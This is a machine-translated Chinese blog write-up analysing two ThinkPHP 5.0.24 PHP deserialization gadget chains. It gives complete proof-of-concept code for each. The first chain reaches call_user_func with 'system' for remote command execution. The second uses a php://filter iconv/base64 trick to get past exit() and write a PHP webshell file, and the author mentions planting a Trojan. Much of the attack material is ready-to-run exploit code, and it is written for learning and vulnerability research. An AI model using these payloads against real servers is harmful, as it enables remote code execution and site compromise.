当前位置:网站首页>Thinkphp5.0.24 deserialization chain analysis
Thinkphp5.0.24 deserialization chain analysis
2022-07-25 01:31:00 【XiLitter】
Preface
I learned a few days ago tp5.1 Deserialization chain , So let's sum up today tp5.0.24 The construction of the chain . On the whole , I think tp5.0 Your chain is better than tp5.1 The chain of is more complicated , I also found two different chains on the Internet , One is to write files getshell, One is to directly call the function to execute rce, Take a look. .
The environment is very simple , Directly in github Download the source code and unzip it to www Under the table of contents , Similarly, write a deserialization entry in the controller .
Deserialization chain analysis
Start analyzing the chain directly , Here are two chains , First, let's talk about implementation rce This chain of .
Deserialization chain execution rce
In fact, the beginning of the chain is tp5.1 The same as , All by calling windows Class __destruct Method , Then call removefile Instantiate arbitrary class calls through attributes toString() Magic methods , This call Model Class tostring,

however Model Class cannot be instantiated directly , Then instantiate the one that inherits it Pivot class . Then this piece poc by
<?php
namespace think;
abstract class Model{
}
namespace think\model;
use think\Model;
class Pivot extends Model{
}
namespace think\process\pipes;
use think\Model\Pivot;
class Windows{
private $files = [];
public function __construct()
{
$this->files = [new Pivot()];
}
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>Enter into Model Class tostring Method , Continue to follow up tojosn, Follow up toArray Method , Old ways , Don't need to say more . The same is to see toArray Method .

Our goal is to pass $value->getAttr($attr) To call call Magic methods . Then we have to judge value Is it controllable , You can find value The value of is finally affected by append The effect of array key names , Then let's make a positive analysis .

relation The value of is directly determined by name control ,parseName Function only does format conversion , and name Namely aappend Key name . Keep looking down ,

relation The value of is executed as a function , And the return value is assigned to modelRelation Parameters , We hope that the value of this parameter is controllable , Then we need to call the function with controllable return value , Here we let relation The assignment is getError,

Back to error Can be controlled , So now modelRelation It's also controllable , Keep going down , Is entered as a parameter getRelationData In the function , Then continue to follow up this function .

here modelRelation Just as Relation Class object , We need to get value For me, for us , Then we need to enter the first if in , See if you can meet the conditions , To follow up isselfRelation Method ,

controllable , Then the last judgment ,getmodel Whether the function is controllable , Continue to follow up .

Here, you need to instantiate the class to continue calling this function with controllable return value , Instantiate here Query Class getmodel function ,

In this way, it is controllable , So go into if In the branch ,value The value of is directly determined by parent Attribute control , Can be controlled . Go back and see toArray function , We also need to enter these two if In the sentence .

Find through a magnifying glass OneToOne There are getBindAttr Definition of function , Then you can make modelRelation To instantiate this class ,

however OneToOne It is inherited from Relation Class , Cannot instantiate directly , here HasOne Inherited OneToOne class , Then we can instantiate this class .getBindAttr The return value of the function is controllable , So the second one if The conditions are also met . So you can call call The method . This one poc by
namespace think;
use think\Model\Relation\HasOne;
use think\console\Output;
abstract class Model{
protected $append = [];
protected $error;
protected $parent;
public function __construct()
{
$this->append = ['getError'];
$this->error = new HasOne();
$this->parent = new Output();
}
}
namespace think\model\relation;
use think\db\Query;
class HasOne{
protected $selfRelation;
protected $query;
protected $bindAttr = [];
public function __construct()
{
$this->selfRelation = false;
$this->query = new Query();
$this->bindAttr = ["aaa"=>"222"];
}
}
namespace think\console;
use think\session\driver\Memcached;
class Output{
}
namespace think\db;
use think\console\Output;
class Query{
protected $model;
public function __construct()
{
$this->model = new Output();
}
}This successfully calls call Method .

Here we call block Method , To follow up block Method .

Continue to follow up writeln Method .

Like a doll , Continue to follow up write Method .

Here, call any class write Method . Here we call think\session\dirver Inside Mecache Class write Method .

Here you can call any class set Method , Here we call think\cache\Mecache Class set Method , Pay attention to the duplicate name , But not in a namespace .

Follow up here has function ,

getCacheKey Function has only one splicing , Then call any class get Method . So we can call Request Class set Method .

Finally, call classic input Method , there this->get and filter It's all within our control . Get into input Method , The final call filterValue Method ,

call call_user_func Function to execute commands . there value Namely this->get, Construct the final poc.
<?php
namespace think;
use think\Model\Relation\HasOne;
use think\console\Output;
abstract class Model{
protected $append = [];
protected $error;
protected $parent;
public function __construct()
{
$this->append = ['getError'];
$this->error = new HasOne();
$this->parent = new Output();
}
}
namespace think\model\relation;
use think\db\Query;
class HasOne{
protected $selfRelation;
protected $query;
protected $bindAttr = [];
public function __construct()
{
$this->selfRelation = false;
$this->query = new Query();
$this->bindAttr = ["aaa"=>"222"];
}
}
namespace think\db;
use think\console\Output;
class Query{
protected $model;
public function __construct()
{
$this->model = new Output();
}
}
namespace think\console;
use think\session\driver\Memcached;
class Output{
private $handle;
protected $styles = [
"getAttr"
];
public function __construct()
{
$this->handle = new Memcached();
}
}
namespace think\cache;
abstract class Driver{
}
namespace think\session\driver;
use think\cache\driver\Memcache;
use think\cache\Driver;
class Memcached { // Personally, I think it is necessary to prevent duplicate names
protected $handler;
protected $config = [ //config Be sure to write it in full , Otherwise, I won't get through
'session_name' => '', // memcache key Prefix
'username' => '', // account number
'password' => '', // password
'host' => '127.0.0.1', // memcache host
'port' => 11211, // memcache port
'expire' => 3600, // session The period of validity
];
public function __construct()
{
$this->handler = new Memcache();
}
}
namespace think\cache\driver;
use think\Request;
class Memcache{
protected $tag = "haha";
protected $handler;
protected $options = ['prefix'=>'haha/'];
public function __construct()
{
$this->handler = new Request();
}
}
namespace think;
class Request{
protected $get = ["haha"=>'dir'];
protected $filter;
public function __construct()
{
$this->filter = 'system';
}
}
namespace think\model;
use think\Model;
class Pivot extends Model{
}
namespace think\process\pipes;
use think\Model\Pivot;
class Windows{
private $files = [];
public function __construct(){
$this->files = [new Pivot()];
}
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>Some details were not explained in detail , Because many parts of this version are related to tp5.1.37 equally . Then call locally payload

Test success , This chain is analyzed here .
Deserialize chain write file getshell
Call ahead tostring function , call call Functions and everything follow a chain . I'm not going to go over it here .

from think\session\dirver Inside Mecache Class start , call file Class set Method

At the bottom is file_put_contents Function can be used to write files . Then we need to see whether these two parameters are controllable . First look at filename, To follow up getCacheKey function .

You can find that the suffix is locked , however name We are still controllable , therefore filename Partially controllable . if data Also controllable , Then you can write shell 了 . Through the function call chain, we can find data By value control , And then by sessData control , Finally, I traced back to Output Class writeln Method .

Here for true, It's dead . What if you can't write something getshell? We can continue to call setTagItem function .

Here we call again set Method , Then take a look key Is it controllable . Obviously , It is from $this->tag control , controllable . that value Well ? from name control , Look carefully at the incoming name, Isn't it under our control filename Well , So we can call file_put_contents It's time to write the document . Be careful

When splicing strings, we need to bypass exit(); Otherwise, it will be forced to quit . So how to bypass it ?
We can use php Fake protocol to bypass .

If file_put_contentes() The first parameter is zero php://filter/write=string.rot13/resource=555.php Words ,php The contents of the document will be rot13 code , And then write 555.php file . that exit() The function will be rot13 Write the code into the file , Successfully bypassed . Thus, bypass . But using this method payload Can't be in Windows Upper use . But in Windows In the environment, we can use such payload,
$this->options['path']=php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.phpwindows I don't quite understand the principle of writing documents , You can refer to this article :Thinkphp5.0 The deserialization chain is in Windows How to write down files - The prophet community (aliyun.com)
Final poc by
<?php
namespace think\process\pipes;
use think\model\Pivot;
class Pipes{
}
class Windows extends Pipes{
private $files=[];
function __construct(){
$this->files=[new Pivot()];
}
}
namespace think;
use think\model\relation\HasOne;
use think\console\Output;
abstract class Model{
protected $append = [];
protected $error;
public $parent;
public function __construct(){
$this->append=["getError"];
$this->error=new HasOne();
$this->parent=new Output();
}
}
namespace think\model\relation;
use think\model\Relation;
class HasOne extends OneToOne{
function __construct(){
parent::__construct();
}
}
namespace think\model;
use think\db\Query;
abstract class Relation{
protected $selfRelation;
protected $query;
function __construct(){
$this->selfRelation=false;
$this->query= new Query();
}
}
namespace think\console;
use think\session\driver\Memcache;
class Output{
private $handle = null;
protected $styles = [];
function __construct(){
$this->styles=['getAttr'];
$this->handle=new Memcache();
}
}
namespace think\db;
use think\console\Output;
class Query{
protected $model;
function __construct(){
$this->model= new Output();
}
}
namespace think\model\relation;
use think\model\Relation;
abstract class OneToOne extends Relation{
protected $bindAttr = [];
function __construct(){
parent::__construct();
$this->bindAttr=["aaa","123"];
}
}
namespace think\session\driver;
use think\cache\driver\File;
class Memcache{
protected $handler = null;
function __construct(){
$this->handler=new File();
}
}
namespace think\cache\driver;
use think\cache\Driver;
class File extends Driver{
protected $options=[];
function __construct(){
parent::__construct();
$this->options = [
'expire' => 0,
'cache_subdir' => false,
'prefix' => '',
'path' => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgcGhwaW5mbygpOz8+IA==/../ab.php',
'data_compress' => false,//base64 String is <?php phpinfo();\?\>
];
}
}
namespace think\cache;
abstract class Driver{
protected $tag;
function __construct(){
$this->tag=true;
}
}
namespace think\model;
use think\Model;
class Pivot extends Model{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
//
?>take payload Hit in ,

You can see that the file has been written successfully . Then access this file ,

Can successfully execute the command . Then you can write a Trojan horse .
Conclusion
The second chain is more complicated than the first , involves windows The limitation of file names . Still need to understand the principle .
Related links :
Thinkphp5.0.24 Deserialization rce Chain learning _bfengj The blog of -CSDN Blog _thinkphp5.0.24
Thinkphp5.0.24 Deserialization analysis and poc - FreeBuf Network security industry portal
边栏推荐
- [25. Hash table]
- The introduction of 23 Filipino doctors for 18million was a hot topic, and the school teacher responded: expedient
- Take C language from 0 to 1 - program structure and use examples
- The position of the nth occurrence of MySQL in the string
- 【Appium】Failed to create session. An unknown server-side error occurred while processing the command
- Take C language from 0 to 1 - program structure and use examples
- Service address dynamic awareness of Nacos registry
- Some of my understanding about anti shake and throttling
- Grpc sets connection lifetime and server health check
- Synchronization primitive: lock
猜你喜欢

The solution of displaying garbled code in SecureCRT

Tool use of rookie tutorial -- View subclass (implementation class) class diagram in idea

The IPO of Tuba rabbit was terminated: the annual profit fell by 33%, and Jingwei Sequoia was the shareholder

The current situation of the industry is disappointing. After working, I returned to UC Berkeley to study for a doctoral degree

Cloud native observability tracking technology in the eyes of Baidu engineers

2022.7.20 linear table

Young people who lost the IPO

Human cell prosci 4-1BB ligand recombinant protein scheme

Listing of China graphite: the market value is nearly HK $1.2 billion, achieving a zero breakthrough in the listing of Hegang private enterprises

What does it operation and maintenance management mean? How to establish an effective IT operation and maintenance management system?
随机推荐
Batchinsert avoid inserting duplicate data ignor
Director of Shanghai Bureau of culture and Tourism: safety is the lifeline of culture and tourism, and we are seizing the new track of yuancosmos
[C + + primer notes] Chapter 6 functions
Multithreading and high concurrency (II) -- synchronized locking and unlocking process
[FAQ of waiting insurance] can the waiting insurance evaluation organization help with the waiting insurance rectification?
The solution of displaying garbled code in SecureCRT
Turn: emotional internal friction is the biggest source of inefficiency in your life
Record the bugs encountered and some work experience
【Power Shell】Invoke-Expression ,Invoke-Expression -Command $activateCommand; Error or power shell failed to activate the virtual environment
How to empty localstorage before closing a page
Google Earth engine - 1980 present global pressure, temperature, wind and other data sets
Mongodb security cluster construction
Data governance notes
Redis learning notes (2) - power node of station B
Shell judges whether the file exists and whether the file size is 0
Download files and web pages with WGet
Listing of China graphite: the market value is nearly HK $1.2 billion, achieving a zero breakthrough in the listing of Hegang private enterprises
Musk responded whether he would upload his brain to the cloud: already did it!
SAP Spartacus - progressive web applications, progressive web applications
WhatsApp web for usability testing of software testing technology